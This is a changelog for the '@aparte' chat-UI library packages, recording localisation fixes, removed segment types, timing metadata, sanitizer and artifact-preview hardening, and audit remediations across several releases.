modelSelectorPlaceholder, the one string it takes from the locale and the only one visible before the list is opened, in the previous language.The guard stays, because it earns its place: a full re-render re-loads every provider’s models asynchronously and would close an open dropdown and discard a typed search. What it gained is a cheap path — one attribute, in place. Measured with a MutationObserver rather than claimed: with the fix, a language switch produces exactly one mutation,
attr:placeholder; without it, zero — which is the defect, stated as a measurement. An explicitplaceholderattribute still wins, as it does at render time.@aparte/core,@aparte/plugin-model-selector -
cd188f7: The language lever, finished: four more strings, and the clock. Additive — five new optional keys, one of which is not a string at all.
Both halves were found by a person switching the language in a browser and reading the screen, after a cross-check of every key core reads against every key it declares had already been run. The list said nothing was missing; the screen disagreed twice.
actionUploadwas read and never declared.aparte-composer-add-attachmenthas calledt('actionUpload')since it existed, and no locale ever declared that key — sot()returned''and the|| 'Attach file'fallback rendered in every language, after every reload. That is the third instance of this exact defect, aftersubmitButtonandstopButton. A key read and not declared is invisible from either side: the component looks correct and the locale looks complete. Only cross-checking the two lists finds it, and that check is now the routine.Three more that were plain literals: the artifact preview pane’s one sentence (
previewPending), and the sandbox failure’s heading and hint (sandboxError,sandboxErrorHint). The sandbox’s own error text between them stays untranslated on purpose — that is the tool’s output, not the library’s copy.tag— a BCP-47 language tag, because a clock is not a string.The only
Intlcall in the library passedundefinedas its locale:date.toLocaleTimeString(undefined, { hour: "2-digit", minute: "2-digit" });undefinedmeans follow the browser. SosetLocale(fr)moved fifty strings and left the timestamp above every message reading7:32 PM, because the browser had never been asked. French is 24-hour.A tag and not an
hour12flag: a flag answers one question at one call site, a tag answers every questionIntlcan be asked — hour cycle, date order, month names, decimal separator, relative time, list joining — for every locale, including the ones nobody here can enumerate.directionnext door is the precedent: the locale’s metadata section already holds how a language behaves, not what its words are.The English default declares no tag, deliberately:
undefinedkeeps following the browser, which is the right default for a library and the behaviour every consumer has today.@aparte/locale-frdeclarestag: "fr-FR"— if you have chosen French strings, French formatting is what you meant. A timestamp also re-renders on a config change, or the language would switch around a 12-hour time that stayed put.@aparte/locale-frnow covers every key core declares: 25 required, 25 optional, none missing.@aparte/core,@aparte/locale-fr -
3f182ef: Eight strings that could not be translated in any language now can. Additive: five new optional locale keys, and one required key that already existed and was read by nothing.
Switching the locale left these in English, in every language, forever — no reload helped, because they were literals in the markup rather than lookups:
where was key error segment heading Errorerror— already existedartifact card download button Download(title + aria-label)downloadbinary artifact download buttons (x2) Downloaddownloadartifact card tabs Preview/Codepreview,codebinary artifact status Generating…/Rebuilding preview…generating,rebuildingPreviewpipeline-waitingaccessible nameGenerating…generatingThe error heading is the one worth pausing on.
locale.erroris a required key, documented under Status Indicators, defaulting to"Error", and@aparte/locale-frhas shipped"Erreur"for it since it existed — while nothing in the library read it and the card next to it hardcodedError. A translated string with no consumer and a literal with no translation, in the same component.Four of the eight are an
aria-labelor atitlewith no visible text, which is why they survived: nothing on screen was in the wrong language, so only a screen-reader user or someone hovering would ever have met them.pipeline-waitingis the extreme case — three CSS dots and an accessible name, so that name is the segment’s entire content as far as a screen reader is concerned, and it announced English in every locale.All of them also update live, through the
relabelhook:setLocale()on a rendered transcript now moves them without rebuilding the segments, so a mounted preview keeps running and an expanded reasoning block stays expanded. The artifact card’s tabs are relabelled by text only —aria-selectedanddata-tabare the reader’s state, not the locale’s, and a relabel that touched them would close a preview somebody had opened.Also fixed in passing, because it was the same defect one line up: the artifact card’s copy button put
t('copy')in itstitleand the literal"Copy"in itsaria-label, so a French reader got a French tooltip and an English announcement.Knowingly left:
aria-label="Streaming"on the card’s pulse indicator. It sits on a<span>with no role, where an accessible name is not reliably announced at all, so a key for it would translate something nothing reads. It needs a role before it needs a translation.Found by sweeping for the pattern rather than trusting the list: the count went from four to six while writing the keys, and to eight when a regex over every
title=,aria-label=and>Word<in core found two moreDownloadbuttons on the binary artifact path — a second renderer with its own buttons, which no reading of the first one would have surfaced.@aparte/core,@aparte/locale-fr -
494e3dd: Removed: the
file-treesegment type. Breaking, deliberately and without a shim.{ type: 'file-tree' },AparteFileTreeSegmentandAparteFileNodeare gone, with their renderer, their styles and their fourteen--aparte-file-tree-*/--aparte-file-status-*variables. Core ships nine segment kinds now, not ten.It was in the wrong place, and every symptom of that was visible before anyone noticed the cause:
- No model emits a file tree. The segment kinds core owns are what a model produces — prose, reasoning, a fenced block, a tool call, an artifact — plus what its own loop reports. A directory listing is neither: it is an app rendering the result of a tool it ran.
- Nothing in the library produced one. No parser, no client, no example, no browser test. A consumer had to hand-build the whole tree.
- And it had drifted accordingly: no locale keys and no icon-provider calls anywhere in it — its glyphs were literal emoji — so it was the one renderer a language change or an icon pack could never touch. That is what an unattended surface looks like.
What to do instead. A file list is the result of a tool, so it belongs to that tool: register a renderer for it with
config.registerToolRenderer(name, renderer)and it draws inside thetool_callsegment, which is where the model’s request and the result already live.@aparte/plugin-ask-useris that shape end to end if you want a worked example. If you genuinely need a standalone block with no tool behind it,registerSegmentRendererstill takes a type of your own — that path is unchanged, and it is the one this type should have used from the start.Nothing else in core referenced it, so there is no migration beyond deleting your own
file-treesegments or moving them behind one of those two seams.@aparte/core -
0fed195: Removed: the
terminalsegment type, with its event and its host handler. Breaking, pre-1.0, no shim.Gone from core:
{ type: 'terminal' },AparteTerminalSegment, the renderer, 117 lines of CSS and 11--aparte-terminal-*variables, theaparte-terminal-runevent and itsAparteTerminalRunEventDetail, and theterminalRunhost handler. The four wrappers stop re-exporting the two types. Core ships eight segment kinds now.No protocol has a “terminal”. When ChatGPT shows one, that is a tool call: the model emits a call whose arguments are code, and the client renders the result in a monospace pane. Same in a console agent —
bashis a tool, the app runs it, the app prints the output. The name in the wire format is the tool’s (code_interpreter,bash,run_command); “terminal” is a UI convention, not a kind of content.The evidence was in the type all along.
exitCodeandisRunningare not things any protocol provides — a tool result is a string. Those two fields are the signature of a component written for an app that owned the execution, not for a library rendering a protocol. Consistent with that: nothing in the library ever emitted one — no parser, no client, no example, no browser test.What to do instead. Register a renderer for your own tool and it draws inside the
tool_callsegment, where the request and the result already live:config.registerToolRenderer("bash", myConsoleRenderer); // or 'run_command', 'python'That is the seam this belonged in, and it puts the naming where it belongs: core cannot know what your tool is called, and baking one vendor’s tool name into a framework-agnostic library would be wire-format knowledge in the wrong layer.
@aparte/plugin-ask-useris the same shape end to end if you want a worked example. If you need a standalone console block with no tool behind it,registerSegmentRendererstill takes a type of your own — that path is unchanged.The
terminalicon key stays in the icon provider: a consumer writing their own console renderer will wantgetIcon('terminal'), and an icon name costs nothing.Migration: delete your
terminalsegments, or move them behindregisterToolRenderer/registerSegmentRenderer. If you declaredsetHostHandlers({ terminalRun: true }), drop that key — the others are unchanged.@aparte/core,@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
155a619: Removed: the
diff,imageandpreviewsegment types. Breaking, pre-1.0, no shim.AparteDiffSegment(withAparteDiffHunkandAparteDiffLine),AparteImageSegmentandApartePreviewSegmentare gone, and the three members leave theAparteSegmentunion. Core ships eight segment kinds.All three were declared and unrenderable. They had complete data shapes, they were members of the public union, and no renderer existed for any of them — so
{ type: 'diff', hunks: [...] }typechecked and then rendered[Unknown segment type: diff]with a console warning. TypeScript accepted what the screen refused; now both refuse.Two of them were duplicating paths that already work better:
- an image is
in the reply’s markdown, which the markdown plugin renders — including the sanitising and the streaming-safe href checks; - a preview is what the
artifactsegment does, inside a sandboxed iframe with a double-delivered CSP, mounted only on an explicit human press.
The third, diff, is a different case and got the same verdict for the reason the
terminalremoval established: a patch is the result of a tool the model called, not something the model emits. It belongs to that tool’s renderer (config.registerToolRenderer), where the request and the result already live — or to a segment type of your own viaregisterSegmentRenderer, which is unchanged.None of the five types was reachable from
@aparte/core: they lived in the internal types barrel and were never in the root export. So no import breaks. What changes is that the union no longer promises three kinds nothing could display.@aparte/core - an image is
-
88cc99a: New:
relabelonAparteSegmentRenderer— a config change now reaches the text inside a rendered segment.A language switch or a new icon set left every segment already on screen in the old language: a code block’s copy tooltip, a terminal’s Run label, a reasoning block’s “Reasoning”, and — worst — the Approve and Reject buttons on a tool call waiting for a human decision.
relabel?(element, segment)is called on a config change for every segment on screen, bound by the same ruleupdate()already carries: attributes and text only, no child node added or removed. Implemented in the six built-ins that hold config-derived text —thinking,code,terminal,tool_call,error,artifact/card.text,file-tree,progressandpipeline-waitingdo not implement it, exactly as they do not implementupdate(): their chrome is their own data.Why not simply re-render the segments. That was the first plan, and an audit rejected it.
_renderSegments()wipes the container and rebuilds, which destroys state the DOM owns and the segment data does not:- a mounted sandboxed artifact preview, executing model-authored code, is torn down with no warning and the card falls back to its Code tab;
- a reasoning block the reader expanded by clicking
<summary>snaps shut, because nothing writes that back tosegment.collapsed; - scroll position inside a long terminal or reasoning pane resets to the top;
- the focus on an Approve/Reject gate is dropped to
<body>— for a keyboard or screen-reader user, mid-decision; - a segment still streaming loses the incremental Markdown parser’s buffered lookahead and restarts from the first byte;
- and the container-wide childList mutation is what the
update()contract exists to avoid, because the viewport’s observer reads it as “scroll to the bottom”.
It would also have been an incomplete fix. Several strings were never routed through
t()at all — the error card’s “Error” heading, the artifact card’saria-labeland its “Preview” / “Code” tabs, the download button,progress’s fallback label andpipeline-waiting’saria-label. A full re-render leaves every one of them in English. Giving them locale keys is an additive change of its own; a test in this change pins the “Error” heading so that change has something to break.Nine tests, both halves seen to fail: disabling the loop reddens six of nine (the three survivors assert absences), and making one
relabelrebuild its node instead of patching it reddens exactly the identity and label cases. One test opens a reasoning block by hand and asserts a config change leaves it open.One small behaviour change came with it: a code block’s copy button marks itself while its “copied” confirmation is showing, so a config change arriving inside that 1.5s does not cancel what the reader is looking at.
Still to do, each for a reason:
aparte-elicitationneeds its pending state to keep a reference to the panel, and the model-selector plugin needs to be additive to its ownaparteConfigChangedhook without re-running its population path.@aparte/core -
9ac83d4: A segment’s measurements move from its own fields into
meta.aparte. Breaking, pre-1.0, no shim.startedAtandendedAtare gone fromAparteSegmentBase.Why, and it was checked rather than assumed: no protocol carries a timestamp on a content block. Anthropic’s blocks have none and neither does the message; OpenAI’s
output_textpart is{annotations, logprobs, text, type}withcreated_aton the item above it; the AI SDK’sUIMessage.partshave none either. What the AI SDK does have is a metadata bag whose canonical example is literally{ createdAt, model, totalTokens }— at the message level. A per-block id has industry precedent; per-block time has none anywhere.So a span is a local measurement, and the shape now says so:
segment.meta?.aparte?.startedAt; // was segment.startedAtsegment.meta?.aparte?.endedAt; // was segment.endedAtStill typed —
AparteSegmentTiming, exported. The bag is where it belongs; opacity was never part of the deal. Namespaced underapartebecause the rest ofmetais yours: a flatstartedAtthere would collide with a key of your own.Read it through the helpers and this change costs you nothing.
segmentDuration()andisSegmentSettled()keep their signatures, andsegmentTiming(segment)is new for the two numbers themselves. All three are exported, and all three are the rules core uses rather than a copy of them — the vanilla example needed no code change at all.The one thing to know if you write
metayourself:updateSegment(id, { meta })now merges instead of replacing. That is not a convenience, it is the whole risk of putting two writers in one bag — a plain spread from either side would erase the other, and your first{ meta: { cost } }would have silently deleted core’s measurement. One helper does the merge and all three update sites go through it.Also: a
setSegmentDefaults()default may fillmetabut notmeta.aparte— those fields stopped being reserved as fields and became reserved as a sub-object, or a default could hand an app a span it never measured.Migration. Replace
segment.startedAt/segment.endedAtwithsegmentTiming(segment)?.startedAt/?.endedAt, or better, withsegmentDuration(). If you persist segments, your storedstartedAt/endedAtare no longer read: move them undermeta.apartewhen you load.@aparte/core -
7602c8d: A reasoning block is closed by default, and any segment type can be given defaults. Breaking for anyone relying on reasoning blocks rendering open, pre-1.0, no shim.
collapsedabsent used to mean open, and core’s own stream parser emittedcollapsed: falseon every thinking segment it produced — so a reasoning block stayed unfolded for the whole conversation, with the answer buried under it. No assistant on the market does that: the content sits behind a click, streaming or settled.Now
collapsed === falseopens a block and anything else closes it. The parser stops saying it at all.collapsed: falseis still how you open one on purpose; only absent changed meaning. The old default was pinned by no test, which is how the parser came to contradict it unnoticed — it is pinned now.setSegmentDefaults(type, defaults)is the way to change it for a whole app:aparteGlobalConfig.setSegmentDefaults("thinking", { collapsed: false });aparteGlobalConfig.setSegmentDefaults("my-chart", { theme: "dark" });It exists because a per-segment field is unreachable for the case that matters: when a reply streams, the consumer does not construct its segments — the parser does — so there was nothing to set
collapsedon. And it is keyed by type, not one function per field: asetThinkingOpen()would need a sibling the next time any type wanted a default, and the type key is a string, so a consumer’s own type is covered by the same call.Applied where a segment’s identity is stamped, which is what makes it cover every arrival path —
addSegment, the segments seeded on anappendMessage, the framework host, and the parser’s output — with no renderer having to look anything up. Rules:- a field the producer set always wins, including an explicit
undefined(that is a statement, not a gap — the merge askskey in segment, not??); - identity is refused:
id,type,messageId,index,startedAt,endedAt. A defaultidwould hand every segment in a conversation the same one; - read at insertion and baked in. Changing a default later does not reach segments already on screen: a block the reader opened has state the data does not;
- per instance — each chat resolves its own config, so two chats on one page can default differently;
- cleared by
reset(), like every other piece of config.
Also new:
getSegmentDefaults(type),clearSegmentDefaults(type), and theAparteSegmentDefaultstype.Migration. If your app wants the old behaviour, one line:
aparteGlobalConfig.setSegmentDefaults('thinking', { collapsed: false }).@aparte/core - a field the producer set always wins, including an explicit
Patch Changes
-
f1fcbb4: The artifact card’s tab row and its heights. Three things, all reported from the landing.
Code comes first, and the pair sits with the other controls. The card opens on Code — mounting the preview would execute model-authored code with no gesture — and a selected tab sitting second reads backwards. DOM order is also keyboard order, so the tab a reader reaches first is now the one already showing. The pair is right-aligned, under the header’s copy/download buttons, so every control is in one column.
The tab row declares its own layout. Core is light DOM on purpose: no shadow root, no
::part(), any selector reaches in — and the corollary is that a component must state what its layout depends on, because an undeclared property has nothing to override a host’s rule with. A page with a barenav { justify-content: space-between; padding-top: 30px }was pushing the card’s<nav>tabs to opposite ends and padding the row out.justify-contentand the padding are declared now.Six hardcoded heights become variables, each with its default in its read (
var(--x, 480px)), the way every other value in that file already works:default --aparte-artifact-frame-height480px--aparte-artifact-frame-max70vh--aparte-artifact-body-max600px--aparte-artifact-pending-height120px--aparte-artifact-file-code-max360px--aparte-artifact-file-preview-max460pxThe preview frame stays a fixed height rather than an aspect ratio, which is what embeds of arbitrary HTML actually do — CodeSandbox documents
500px, StackBlitz takes a height parameter — because a frame with an opaque origin cannot be measured, and a 16/10 ratio on a wide card is enormous. What was missing is the70vhcap: a fixed 480px should not own a phone screen.Two incoherences went with it: the code pane repeated the body’s
600px(two owners of one number), and the “press Preview” placeholder was120pxtall inside a body whosemin-heightsaid80px, so that minimum applied to nothing.@aparte/core -
388b594: Fix: any config change made avatars appear across the transcript, and switching back did not remove them.
The default bubble shell renders
<div class="aparte-avatar">empty, and the stylesheet hides it while it stays that way —.aparte-avatar:empty { display: none }, with the comment “No message avatar by default — the slot only shows once an AvatarProvider (or a consumer) fills it.”_updateName()wrote a one-letter initial into that slot unconditionally, and_onConfigChangecalls_updateName()so that already-rendered bubbles pick up a live change. Every notifying setter therefore filled it:setLocale— a language switcher is enough —setBubbleActions,setIconProvider. Avatars appeared on a click that had nothing to do with them, on messages already on screen, and undoing the click changed nothing because the text was by then written._updateRole()did the same on a role change.Both now refresh an initial that is already there and never create one. The guard is “already non-empty” rather than “no avatar provider” on purpose:
avatarInitialis part of theAparteBubbleShellRenderercontract, so a custom shell may render an initial and must still see it kept in sync when the name changes. Empty stays empty; filled stays in sync._renderAvatar’s documentation claimed it “falls back to the default initial / image rendered by_render()” when no provider is set. There is no such initial — the default shell renders the slot empty — and believing there was is what made the two update paths write one. Corrected.Five tests, both guards seen to fail: reverting the
_updateNameguard reddens the config-change and name-change cases, reverting the_updateRoleone reddens the role-change case. One of them asserts the custom-shell contract still holds, which is what rules out the narrower fix.@aparte/core -
79956cb: A bubble with nothing to paint no longer paints a box. Reported from the page: send a file with no text, and the message showed an empty coloured rectangle under the chips.
.aparte-message-contentcarries the user bubble’s background, padding and radius, and the attachment chips render above it, outside it. So a message that is only attachments left that box with no content, no segments and no waiting dots — and it drew itself anyway.It is hidden now when it is empty and not waiting, which is the whole rule: the assistant’s typing dots live inside that same box, and a fresh streaming bubble is empty by definition. Hiding on emptiness alone would have taken the typing indicator with it — asserted, not assumed.
@aparte/core -
9642713: A syntax highlighter’s dual-theme output is no longer thrown away. The default sanitizer’s inline-style allowlist had entries for
color,background-colorand the font properties, and none for a custom property — so shiki’s documented light-and-dark mode,defaultColor: false, which emits only--shiki-light/--shiki-darkand leaves the choosing to CSS, lost every declaration and rendered every code block white. The feature was unreachable, not merely unstyled.A custom property is now kept, with two rules:
- The value scrubbing is unchanged. A custom property is inert until some CSS reads
it, so the value is what has to be safe:
url(),expression(),javascript:, a CSS identifier escape and<>are refused exactly as before. - Our own namespace is refused.
--aparte-*is dropped. Core’s entire theme is custom properties, so a model-authored block setting--aparte-primarywould repaint the chat around itself — not highlighting, defacement with our own paint.
If you were working around this by pinning a single shiki theme, you can stop.
@aparte/core - The value scrubbing is unchanged. A custom property is inert until some CSS reads
it, so the value is what has to be safe:
-
fbffb48: Fix: a message appended with its segments already populated wrote every streamed chunk twice, and its segments were never stamped.
appendMessage({ …, segments: [...] })is a real path — a conversation restored from storage, a prefix an app injects,setMessages()— and it went around two earlier fixes.The doubling. Streaming into such a segment produced
"ThatThat deletesdeletes aa filefile", in the message model and on screen.populateBubbleFromMessagehanded the repository’s ownsegmentsarray tobubble.setSegments(), which stored it by reference whilegetSegments()had always copied on the way out. One array, two writers: the viewport replaced the slot with{...segment, content: old + chunk}, then the bubble looked the segment up in what it believed was its own list, found that replacement — chunk already in it — and appended the chunk again.This is the same failure as the
appendToSegmentfix in 0.4.0, which resolved it foraddSegment(where it cannot happen: the bubble pushes into a list it created itself, so the viewport’s replacement decouples the two immediately). Its regression tests all driveaddSegment, so this path stayed broken for exactly the reason that changelog entry gave for why nothing had caught it the first time — the tests went around it.setSegmentsnow copies the array in, which covers every path throughpopulateBubbleFromMessagefrom its single production caller.The missing stamps.
messageId,indexandstartedAt— shipped in 0.9.0 — were written only byaddSegment, so a segment arriving with its message had none of them. The same field was present on one path and absent on the other, silently, and anything reading them had to cope with both. Seeded segments now go through the samestampSegmentOnInsertseam, accumulated into a new array soindexfollows position and the caller’s array is no longer retained. Values already present are never overwritten, so a conversation reloaded from storage keeps the numbers it stored.The bubble is also handed the stamped copy rather than the caller’s object: it was rendering segments with no
indexorstartedAtwhile the model held stamped ones.Six regression tests, each seen to fail: reverting the copy reddens the exact-text and
setMessagescases, and reverting the stamping reddens the identity, position and object-sharing cases.Known and not changed here:
AparteChatHost(the framework-managed owner) stamps onaddSegmentbut not on segments that arrive with a message, because that array belongs to the framework’s own state — copying and stamping it is a decision about ownership, not a bug fix, and it deserves its own change.@aparte/core -
fc8a83b: Fix: the stop button’s accessible name was never translatable, in any language.
aparte-composer-cancelhas readt('stopButton')since it existed, andstopButtonwas declared nowhere — not inAparteLocale, not inAPARTE_DEFAULT_LOCALE, not in@aparte/locale-fr. Sot()returned nothing and the|| 'Stop'fallback rendered every time, in every locale, including after a full reload. The key is declared now, with its English default, and translated in@aparte/locale-fr.This is the second instance of a defect
locale.tsalready records forsubmitButtonone entry up: “A key read and never declared is worse than a literal: it looks translated.” It was found by auditing something else entirely.Why it survived: the button carries no visible text. The string is its
aria-labeland itstitle, so nothing on screen was ever in the wrong language — only a screen-reader user, or someone hovering, would have met it. Most of the composer’s translatable surface is like this, which is worth knowing before trusting that the rest of it works.The key is optional, like the other fifteen, so no consumer locale becomes invalid: a locale without it keeps the English default.
Nothing about the landing page changed except that it now counts the keys in
AparteLocaleat build time instead of saying “forty” — adding one key made five hand-written “forty”s wrong in the same commit that added it.@aparte/core,@aparte/locale-fr -
4ce2ae6: A code block is coloured while it streams, not after it. Reported from the screen: an artifact’s code pane flickered between plain white and syntax colours on a dark theme.
The debounce was innocent. Every token ran
codeEl.textContent = content, which destroys the highlighter’s<span>s — so a token erased whatever the last debounce had painted. Plain most of the time, one coloured frame every 400ms. Thecodesegment had the mirror-image bug: no colour at all until stream-end, behind a comment explaining that a per-token highlight would be too expensive.Both are the same missing idea. The pane is now split at the last newline: the prefix of complete lines is highlighted, and the line still being written stays plain in a tail span that a token can rewrite on its own. Not colouring that last line is deliberate twice over — it is what makes a token cost one text assignment, and an unterminated string or brace re-tokenises everything after it, which was the other half of what looked like flicker.
streamHighlightreplaces the artifact family’sdebounceHighlightand serves all three panes (card, binary file,codesegment). The boundary lives in the DOM rather than a module map, which is what makes a slow earlier highlight unable to rewind the pane.And the artifact’s pulse stops when the stream does.
render()painted the streaming indicator and nothing ever removed it, so a finished document went on claiming to be in flight — every 1.2s, forever. It survived this long because nothing in the repo streamed an artifact: the card had only ever been handed settled content, so its streaming affordances had never once been exercised.@aparte/core -
17d31fb: An SVG artifact with only a
viewBoxnow previews. It showed a blank frame.The preview document centres its content with
display:flex; align-items:center, and an SVG that carries only aviewBox— the recommended, responsive form, and the one a model writes most often — has no intrinsic dimensions. As a flex item its cross size then collapses to zero and the frame is empty. So the preview worked for the less idiomatic SVG, the one that states its ownwidth/height, and silently showed nothing for the normal one.Fixed with
svg:not([width]):not([height]){width:90%;height:90%}— narrowed by attribute selector so an SVG that asks for a size keeps it. A blanketwidth:90%was the shorter fix and would have stretched every sized SVG instead.The preview document had no tests. It has four now, including one that pins something deliberate: it does not run the message sanitizer, because that drops
<svg>wholesale (correctly, for content rendered in the page) and would make every SVG artifact unpreviewable. The CSP and the sandboxed frame are what make it safe.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown.
0.9.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
216c5f0: A segment now knows where it sits and when it happened.
AparteSegmentBasegains five optional fields —messageId,index,startedAt,endedAt,meta— so a consumer can build the chrome the market has taught users to expect (a collapsed reasoning line with its duration, a tool pill with how long the call took) without replacing a renderer. All optional, so nothing existing changes shape.Core renders none of it. It measures the span, because it owns the stream, and leaves the display to you: the line reads “Thought for 8s” in one product and “8.2s · 1.2k tokens” in another.
metais your channel — core never writes there; fill it with theupdateSegment(id, { meta })that already exists. The customization guide carries the runnable recipe, and the vanilla example runs it.Stamped in one place (
utils/segments.ts), called by the two owners of a message’s segment array — the viewport and the framework host. Not by the parser:tool_callandpipeline-waitingsegments never pass through it, and its per-turn counter would have restarted mid-message on a tool round-trip.pnpm check:segment-stampkeeps a third writer from appearing.endedAtis when content last arrived — it advances while a segment streams and freezes when it settles, so the difference is a live duration during a turn and a final one after it. The two simpler rules are both wrong and were both measured: closing at the end of the turn makes a reasoning block span the answer that followed it (2s of thinking before a 20s reply reads ”22s”), and closing when the next segment opens counts a ten-second gap as thinking. Only payload counts — collapsing a block is presentation, not activity.A segment is now marked finished when the stream says so, not when the turn ends. The parser knew the exact end of every delimited segment — the closing token IS the end — and dropped it, so the only signal left downstream was the end of the turn: a reader watched “Thinking” for as long as the answer took to stream, and the Markdown flush and the highlight-on-settle waited just as long. The parser now marks what it closes, at all six sites, and both loops forward that mark instead of content alone. Reasoning arriving on its own
reasoning_contentchannel has no delimiter, so its end in band is the first answer token — both loops say so there too. A duration line is therefore readable while the answer streams, which is the whole point of having one.All five are optional, because they describe a lifecycle rather than a shape: a segment built by hand or freshly emitted by the parser has not been inserted yet and has no start, and an open segment has no end.
segmentDuration(segment)reads the span so a consumer never subtracts the two fields — the hand-written guard is three conditions long and wrong at epoch 0, where a valid timestamp is falsy.isSegmentSettledis exported alongside them: a tool call settles by itsstatus, never byisStreaming, so a hand-rolled check measures nothing on the segment type where a duration matters most.Three defects the feature exposed, each fixed:
- Nothing ever declared a segment finished.
completeMessage()had no callers, and the path both agent loops actually take —updateMessage({ status })— never touched segments. SoisStreamingwas never set to false for a thinking, text or code segment anywhere in the model. Both owners now close a finished turn’s segments throughupdateSegment, which stamps the model and repaints the bubble;errorandabortedcount as finished, because a stopped stream still produced what it produced. registerDefaultRenderers()overwrote a renderer the app had registered, while the lazyinstallDefaultRenderersOnce()documented itself as never replacing one. Sincenew AparteClient()calls the eager path, registering a custom renderer before constructing your client — the order anyone writes — put the built-in silently back. Both paths are now additive.- A code block’s copy button copied an empty string once one more update
arrived in the turn: it read the segment captured when
setupran, and the bubble replaces that object on every update. It now reads the rendered source.
aparte-terminal-rungainsmessageId, and itssegmentIdis no longer nullable — both come off the segment instead of a DOM attribute, so the event is finally resolvable to a turn.@aparte/core - Nothing ever declared a segment finished.
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr.
0.8.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
c33d2b0: A fourth cold audit: two CRITICALs, fourteen MAJORs, and the guards that let four of them in
Same protocol as the third — five auditors, no changelog, no git history. It found less on the surface and more underneath, which is the only progress worth reporting: the two CRITICALs were both in code less than two days old, and four of the MAJORs were defects in the guards rather than in the library.
The two CRITICALs share a root:
{ config }scoped what a chat READ and not what it ANSWERED.AparteClientlistens onwindow, and its only instance filter wasscopeToTargetId; unset, the guard returnedtruefor everything. Two config-scoped clients on one page therefore both ran a full agentic turn for every send — two provider calls, two paid completions, both replies appended into the single target the event named. A config-scoped client now declines a target whose boundary resolves a different, non-global config; a client on the global config still answers everything, which is every single-chat app. The second: opening a conversation revoked its own attachments’ object URLs, becauseclearAll()releases them and bothsetMessagesandimportTreeput the messages straight back — andexport()stores live references, so the two views share the very same attachment objects. Every image and file chip was dead on load.Three MAJORs in the turn. A mid-stream
errorevent erased everything already rendered:_handleLifecycleErrorreplaced the segments instead of appending, so a partial answer plus an error became an empty bubble with an error in it.toolTimeoutMscould not time anything out — all three copies aborted a signal and then awaited the handler with no race, and aborting is a request a handler may ignore, which the default shape of a consumer tool does. Core’s two copies now sharewithToolTimeout. And the engine compactor could emit a window opening onrole: 'tool', which every OpenAI-compatible provider rejects with a 400: compaction turned a long conversation into an unusable one.Consent is scoped to the chat that asked. Human-in-the-loop approval matched on the model-chosen
toolCallIdand nothing else, on adocumentlistener, with built-in buttons that bubble and compose — so on a page with two chats, a click aimed at one tool could satisfy the gate awaiting a different tool in a different conversation. The check is now DOM containment: a model can choose an id, it cannot choose where a click happened. A programmatic dispatch from a host is still honoured.Three more surfaces where per-instance config did not reach what it configures.
injectRendererStyles()collected the global’s styles over an instance config’s, so a renderer registered on a config drew unstyled and silently; it now takes the config and accumulates rather than assigns, and re-creates its<style>when the old one has been detached rather than only when it is null.setupMarkedProvider(options)scoped the provider and not the options —marked.use()mutates a module singleton cumulatively, so configuring the second chat retroactively changed the first’s rendering. And the global type augmentations reached the browser entry only, so an SSR consumer silently lost typede.detailon every aparté event.Every
AparteChataccepts a caller-supplied host id.scopeToTargetIdmatchesdetail.targetId, which the wrappers set from an id they generated and neither accepted nor exposed — so the documented mechanism was unreachable from three of the four components. React, Vue and Svelte gain an optionalidprop; Angular already honoured one. The generated id remains the default.The artifact preview stops overclaiming. Its comment said everything leaving the frame is blocked. The fetch half is true and measured in three engines; the frame navigating ITSELF is not a fetch and no directive governs it —
navigate-towas removed from the spec and never shipped. No CSP or sandbox token stops it, so the fix is the claim, plus a danger block onsetArtifactPreviewBuilder, which was one line that never mentioned it replaces the policy while recommending CDN libraries.Four MAJORs were the guards.
check-doc-snippetscompiled with a WEAKER profile than the repo compiles itself with — nonoUncheckedIndexedAccess,noImplicitReturns,noFallthroughCasesInSwitchornoImplicitOverride— so a snippet could be certified while a reader’s build, following this project’s own recommended settings, rejected it. Aligned, it immediately failed the flagship getting-started example.check-export-mentionscould not read a barrel written asexport *, saw 4 names for the engine’s 39-name surface, and then certified the package already at zero unmentioned; it also credited a short export whenever a longer documented name merely contained it, and its list of barrels omitted the plugins, providers and locale-fr.check-node-barrel-typesdiffed export names, which an augmentation module has none of.check-wrapper-slotsproved nothing about the host id. All four now bite, verified by sabotage one at a time, and the export guard gained the SEEN floor that a collapsed count needs — the third guard in this repo to need it for the same reason.The wrapper reference has examples. Eleven of the sixteen slot × framework combinations appeared in no code block anywhere, in a page whose own history is the reason this project has a rule about capabilities cited in passing. The page is generated, so each slot now emits one fence per framework from the same table as the syntax column.
@aparte/core,@aparte/engine,@aparte/plugin-marked,@aparte/react,@aparte/svelte,@aparte/vue -
688a231: Remediation of a from-scratch audit: four CRITICAL and nineteen MAJOR defects, plus the guards that make each class unrepeatable.
Fixes you will notice
- Pressing Stop no longer erases the answer. A stopped turn replaced everything
already streamed with an error bubble, and never dispatched
aparte-message-aborted. Three separate paths had to be closed: an abort arriving while the loop was parked on its read,openai-compatreporting anAbortErroras a stream error whereai-sdkstays quiet, and a rejection escapingtransportCallbefore the first event. - A code fence split across deltas no longer eats the text before it, and no longer
leaks a literal
```pythoninto the message. - A split
<artifacttag no longer loses its whole lifecycle.<andartifactare separate tokens in most vocabularies, so whether artifact events fired depended on where the tokenizer cut. - A turn the human stopped, stops. A rejected tool no longer lets the rest of that turn’s tool calls run.
compact()only touches its own chat. With two clients on a page, one event made both summarise the same conversation and wiped the other with no summary.- Retrying the first message no longer resends the whole conversation. Viewport listeners no longer accumulate when the element is moved in the DOM. A stream we walk away from is cancelled rather than left generating.
Breaking
-
A previewable artifact no longer runs the model’s code without a user gesture. The card opened on Preview with the frame already mounted, so every render of a completed artifact — including reloading a persisted conversation — executed model-authored JS. It is sandboxed, so this was a prompt-injection surface rather than origin XSS. The frame is now created only when the user presses Preview, and is CSP-constrained. An app that wants it open must open the tab itself.
-
